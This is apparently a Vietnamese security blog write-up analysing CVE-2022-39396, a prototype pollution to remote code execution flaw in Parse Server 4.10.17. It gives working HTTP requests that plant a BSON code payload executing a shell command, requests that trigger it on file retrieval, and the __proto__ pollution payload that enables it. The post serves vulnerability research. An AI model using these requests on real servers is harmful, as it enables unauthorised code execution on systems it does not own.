CVE-2022-39396 Prototype pollution leads to RCE in Parse Server
Phân tích lỗi CVE-2022-39396
Overview
Lỗi CVE-2022-39396 tồn tại ở Parse Server phiên bản (<4.10.18) và (>=5.0.0 <5.3.1). Chi tiết lỗ hổng có thể xem ở đây
Patch
Đối với bản 4. lỗi được vá ở bản 4.10.18, do đó bài viết này mình sử dụng bản lỗi 4.10.17. Đoạn code dùng để patch có thể xem ở đây .
Phân tích
Bản patch thực hiện vá lỗi ở hàm downloadFileFromURI
ở file FileRouter.js
, hàm này handle cc request liên quan đến file của Parse-Server. Thông qua đoạn patch, có thể thấy lỗi này dựa trên việc chèn bson code vào mongodb để thực hiện RCE. Tuy nhiên bản patch chỉ vá lỗi đưa RCE payload vào, vậy lỗi PP vẫn tồn tại ?
RCE flow
Một lỗi trước đây liên quan đến bson code ngay trên Parse Server mình tìm được ở đây. Dựa theo nội dung writeups, flow RCE thực hiện khá đơn giản
- Đưa bson code vào MongoDB thông qua trường metadata hoặc tags của file trên Parse Server
- Lợi dụng lỗi Prototype Polluion để bật tùy chọn evalFunctions
- Khi lấy file từ Parse Server, hàm
deserializeObject
ởnode_modules\bson\lib\bson\parser\deserializer.js
được kích hoạt
Khi evalFunctions được kích hoạt, chương trình gọi tới hàm isolateEval
với functionString là bson code bên trong metadata hoặc tags của file. Bên trong hàm này thực hiện eval bson code dẫn đến RCE
Các bước hoàn chỉnh để khai thác luồng RCE như sau
- Tạo file chứa metadata mang theo bson code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /parse/files/testxx.txt HTTP/1.1
User-Agent: node-XMLHttpRequest, Parse/js3.5.1 (NodeJS 16.17.1)
Accept: */*
Content-Type: text/plain
Host: localhost:5000
Content-Length: 349
Connection: close
{
"base64": "SGVsbG8gV29ybGQh",
"fileData": {
"metadata": {
"_bsontype": "Code",
"code": "delete ({}).__proto__.evalFunctions; require('child_process').exec('calc')"
},
"tags": {}
},
"_MasterKey": "xxx",
"_ContentType": "text/plain",
"_ApplicationId": "APP_ID",
"_JavaScriptKey": "xx",
"_ClientVersion": "js3.5.1",
"_InstallationId": "4c1b93bc-37e3-4052-b9ed-10617e7b9808"
}
- Kích hoạt RCE thông qua request lấy file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
GET /parse/files/APP_ID/metadata/f9663e09e21b63f40d2dc17b452239f7_testxx.txt HTTP/1.1
Host: localhost:5000
sec-ch-ua: "Not;A=Brand";v="99", "Chromium";v="106"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
X-Parse-Master-Key: MASTER_KEY
X-Parse-Application-Id: APP_ID
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Prototype Pollution flow
Bản patch không chứa đoạn vá lỗi Prototype Pollution, may mắn thay lỗ hổng này được report thông qua ZDI. Do đó advisory của ZDI chứa thêm thông tin cần thiết.
Hàm transformUpdate
ở parse-server-4.10.17\lib\Adapters\Storage\Mongo\MongoTransform.js
chứa sink dẫn đến lỗi Prototype Pollution
Để PP cần thỏa mãn điều kiện
- out.value.__op == ‘__proto__’
- out.key == ‘evalFunctions’
- out.value.arg == 1
Hàm transformUpdate
được gọi ở hàm updateObjectsByQuery
Xem tên hàm dễ dàng đoán được rằng hàm được gọi khi thực hiện update object trên Parse Server. Kết hợp debug nhận thấy rằng dự đoán là chính xác, việc còn lại là kiểm tra mình có thể control được những trường nào. Tạo một object ở class PP bằng request sau
1
2
3
4
5
6
7
8
9
10
POST /parse/classes/PP HTTP/1.1
User-Agent: node-XMLHttpRequest, Parse/js3.5.1 (NodeJS 16.18.1)
Accept: */*
Content-Type: text/plain
Host: localhost:5000
Content-Length: 187
Connection: close
{"applicantName":"Joe Smith","test":{"name":"xxasd"},
"_ApplicationId":"APP_ID","_JavaScriptKey":"xx","_ClientVersion":"js3.5.1","_InstallationId":"69d92c17-f900-4a18-8491-274b963cd9c2"}
sử dụng objectId trả về trong response để update object này
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PUT /parse/classes/PP/ECjcw782EJ HTTP/1.1
Host: localhost:5000
sec-ch-ua: "Not;A=Brand";v="99", "Chromium";v="106"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
X-Parse-Application-Id: APP_ID
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 67
{"applicantName":"Joe Smith","test":{"name":"xxasd",
"asd":"zzz"}}
thấy rằng breakpoint ở hàm transformUpdate
hit. Toàn bộ các trường mình cần control thuộc biến out, biến này được set giá trị qua hàm transformKeyValueForUpdate
Trường value của out được set qua hàm transformTopLevelAtom
Do lỗ hổng liên quan đến file do đó hàm FileCoder.JSONToDatabase(atom)
khiến mình để ý, bên trong hàm này return luôn giá trị atom.name, để vào được hàm này hàm FileCoder.isValidJSON(atom)
cần trả về true.
Như vậy object của mình khi thực hiện update cần có dạng như sau để out.value nhận giá trị từ hàm FileCoder.JSONToDatabase(atom)
1
2
3
4
5
6
7
8
9
{
"applicantName": "Joe Smith",
"anyProp": {
"__type": "File",
"name": {
"xxxx": "aaa"
},
}
}
Với payload như trên thì out.key = “anyProp” và out.value={“xxxx”: “aaa”} => đã control được các trường cần thiết, vậy bước hoàn chỉnh để khai thác prototype pollution như sau
- Đầu tiên tạo một object mới với 1 thuộc tính “evalFunctions”
1 2 3 4 5 6 7 8 9 10 11
{ "applicantName": "Joe Smith", "evalFunctions": { "__type": "File", "name": "asdasd" }, "_ApplicationId": "APP_ID", "_JavaScriptKey": "xx", "_ClientVersion": "js3.5.1", "_InstallationId": "69d92c17-f900-4a18-8491-274b963cd9c2" }
- Update object trên bằng objectId trả về từ response
1 2 3 4 5 6 7 8 9 10
{ "applicantName": "Joe Smith", "evalFunctions": { "__type": "File", "name": { "__op": "__proto__", "arg": 1 } } }
Race condition
Sau khi khai thác lỗi PP, ngay lập tức hệ thống trả về lỗi như bên dưới
Vì vậy để khai thác lỗi này Parse Server cần phải chạy dưới dạng nhiều cluster (–cluster), trong khi thực hiện bắn liên tục request lấy thông tin file để trigger RCE, cần kích hoạt một số request trigger lỗi Prototype Pollution.
POC
REFERENCES
https://github.com/tuo4n8/CVE-2022-24760
https://www.huntr.dev/bounties/ac24b343-e7da-4bc7-ab38-4f4f5cc9d099/